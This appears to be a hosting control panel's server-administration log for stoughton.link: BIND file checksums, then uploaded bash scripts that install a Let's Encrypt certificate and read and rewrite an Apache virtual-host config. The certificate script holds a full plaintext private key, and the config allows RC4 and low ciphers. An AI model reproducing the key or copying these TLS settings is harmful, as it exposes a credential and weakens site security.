MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-22 12:00:14: Establishing a connection
2025-12-22 12:00:14: Establishing a connection
2025-12-22 12:00:14: 

PUT: /tmp/pkp883501

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-22 12:00:15: 

chmod 755 /tmp/pkp883501; /tmp/pkp883501; rm /tmp/pkp883501

2025-12-22 12:00:15: 


0


2025-12-22 12:00:43: Establishing a connection
2025-12-22 12:00:43: 

PUT: /tmp/pkp532424

#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt

cat > $temp_file <<'endmsg'
8a:f5:fc:a8:63:14:54:ac:f6:c4:cf:a6:bc:0d:fb:2f

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBbZLtV8medbAyI8l4Ftpau4GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIyMTEwMjEyWhcNMjYwMzIyMTEwMjExWjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMwCvUpasDnXATSukCwX6sFwmnN97njwU1l++ZM2usfjZG3/WTV+vvs2DpnT8FLm
7j+gLeRGxsPgg7wJ9M6iUv/nPMCBn6QvnM7UVaWTnyEXXx3Y93Ef7fOIMWntxM5h
ax4vjJJpvl0srF5k3NQdUbT4G19jwJlJvvnyQsRQBZoA3zuun8yIPv3Y6W766VJ5
762SjToT9k7D7GjO73ALt3IElDQW8iJ0N/f8jSz2DO0Zq9UQgLpEsEDB2GVFiPsB
J+5FNgmTRMW91uGfdy2PuXSfaxErtqopkbepK4DcCb9/eA5EUi9iJMhm3y7kYX6y
vV087YKeHjVpSg7YygwzJvkCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUxGG2Xv9TCllreo1EeGmdXF9nL+EwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBBgYKKwYBBAHWeQIE
AgSB9wSB9ADyAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGb
Re7mEgAABAMASDBGAiEA3Fy11CMzocoH85LcAJG/8btSP8Muuu1mVAYi7w8rbe0C
IQDtIvctYiY3UOsPMWd5Q8eU9GlFpSf1c4DV87H3997axAB3AJaXZL9VWJet90OH
aDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm0Xu5lUAAAQDAEgwRgIhAKKaPdzXxKk0
jhoV5klMNcUZbqvhPz/VMh0+7W/nVjuXAiEA/2I0xtLDcGQ4uN4t/Z9ZIv7CLCb7
/xjIrTeYNK8Svb8wDQYJKoZIhvcNAQELBQADggEBAAY+nWt/YlgeAdv9DFZVd9Yl
nlByuGS9uzUGUL3Z3Sb4I/Dxc1qTEjiWaMcEf4WZuedo0i6xBudwsuV71UegjAsS
aiRTukGV+MVeiazeWRswR50AUYWf/eYbT/HgG6e1TbrJT4qvi64dlsGkE6Pu2hP0
V0oucGfvSmYXX99R2WofjIJdrKld0lHU2Agvfl8jaZbLkNpHlprMXiNjwYavYK82
y3vAxF4cwmehmQFvB2SFLojmWy9eZJQBKAuQY+iW/1QbsRJTX43mKPR/gidbMSmz
cQd2LkldprwzZ5Vkw8CESFC765EVZScdbVqh0v3hdqM7U+g2bH3U0zFe9Ry73pY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDMAr1KWrA51wE0
rpAsF+rBcJpzfe548FNZfvmTNrrH42Rt/1k1fr77Ng6Z0/BS5u4/oC3kRsbD4IO8
CfTOolL/5zzAgZ+kL5zO1FWlk58hF18d2PdxH+3ziDFp7cTOYWseL4ySab5dLKxe
ZNzUHVG0+BtfY8CZSb758kLEUAWaAN87rp/MiD792Olu+ulSee+tko06E/ZOw+xo
zu9wC7dyBJQ0FvIidDf3/I0s9gztGavVEIC6RLBAwdhlRYj7ASfuRTYJk0TFvdbh
n3ctj7l0n2sRK7aqKZG3qSuA3Am/f3gORFIvYiTIZt8u5GF+sr1dPO2Cnh41aUoO
2MoMMyb5AgMBAAECggEBALn+QV8ZgRKqb0H9aBmbEH6dT2K9y/1cdVDhj13khrMY
IAacx1MbI7jZlsQt0ityuIEvYsd8s1f/R3rWxObiXLNLuTp0svu4IMj8Er1q8af0
q9YFacor5v+hChPeHxBdBpC1nv4ZA+HkiZ1hbWbA+C36CNKVmhDmiANOGArsPb8h
K2a8kdp6UqBKj72jVhbgsXVcFz24VfVQnj55tvp8VViVNwiLevIbIoyrc2xFpM2I
xzeV5LtnvWwbzBXQ75crzf+wVV+d9MtxWyITubOWDCOE1sl4Bq8z+2/EaI9V0+4F
uihVIXjekCvGSbSJ+zLFKWs9AR6+tB+BQPxVgIQ+LnUCgYEA/cKOhJDxms25gXLg
1ecn0n4ZjzH+gd5+hSHj0RqinfQbbrvUBBDj4buFb2uvVr/rb6ag3vuMhN98+mq1
vLea1oe8I4qWdBdugZex+CKPlrHTW/TGohyXK2dhXmHSS2YXS6mKeYi/LGq83b9h
900+NOnMdtDU1BsSp/2J+DOIJesCgYEAzc/CjMC21dgALhGxC2kQT1CewiaksKj0
Kkot3tbk0V6jrpPj/FEPpGAHA4jTkk4dH51NvCzkL4/3QDwRl/KuOtTbobrpEeuv
nkiTC5OCN5X9LAa7leQWdxNz6xSH1FANBJoqms2ILshzhUyDpUdcW8lh0UAYbkJ4
dkxJl9jRuasCfyudROGECAKTWU7mb75T/IQxKDN0ZEnt89DuAjnuWgTL7+sYXVhV
jtU9ZbHA0GIYml6WRRAOLBiqUNC5hoLpC7PToIJ7T2CkplmfuPbs+cDsz2b+qyUx
xMmw+ws9xOcwpNBcU3CQEEuSDOQQAMaAgDCX/oxtWCccgBhfe1cthDkCgYBwrIhf
FHZEVm+qyQa7L3a9ZW607gEFskmSCXBZah51PTGxNsf+78X3gJb2aWci1t782tqe
5Zi7LT74jKo5HKQkEzp2rWRB6l0H88WE9em5UsT64Gi8I9XktOKmVWQTaQvndBtV
Cqa+rgEIfh4oUwwOOA70RvnZC0z1vsgfeJVA5wKBgDnb949B6liDmulAzU3GThCv
5X9qYvkjUtROH+QUqg1e+qsGVdggQkseLvc1+C+nxGszBRKboFakQrr/JaYZuRK8
l1Pp4B57NKj7TBJRiFd4dU66fSBzsT6vxkdqppVLXdEDDObSeXr0Vf25auQkYMIF
GpLlNIangmCnFxeJAG4X
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-22 12:00:43: 

chmod 755 /tmp/pkp532424; /tmp/pkp532424; rm /tmp/pkp532424

2025-12-22 12:00:43: 


dir=/etc/ssl/certs


2025-12-22 12:00:43: 

PUT: /tmp/pkp107804

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-22 12:00:43: 

chmod 755 /tmp/pkp107804; /tmp/pkp107804; rm /tmp/pkp107804

2025-12-22 12:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>






2025-12-22 12:00:43: 

PUT: /tmp/pkp216870

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
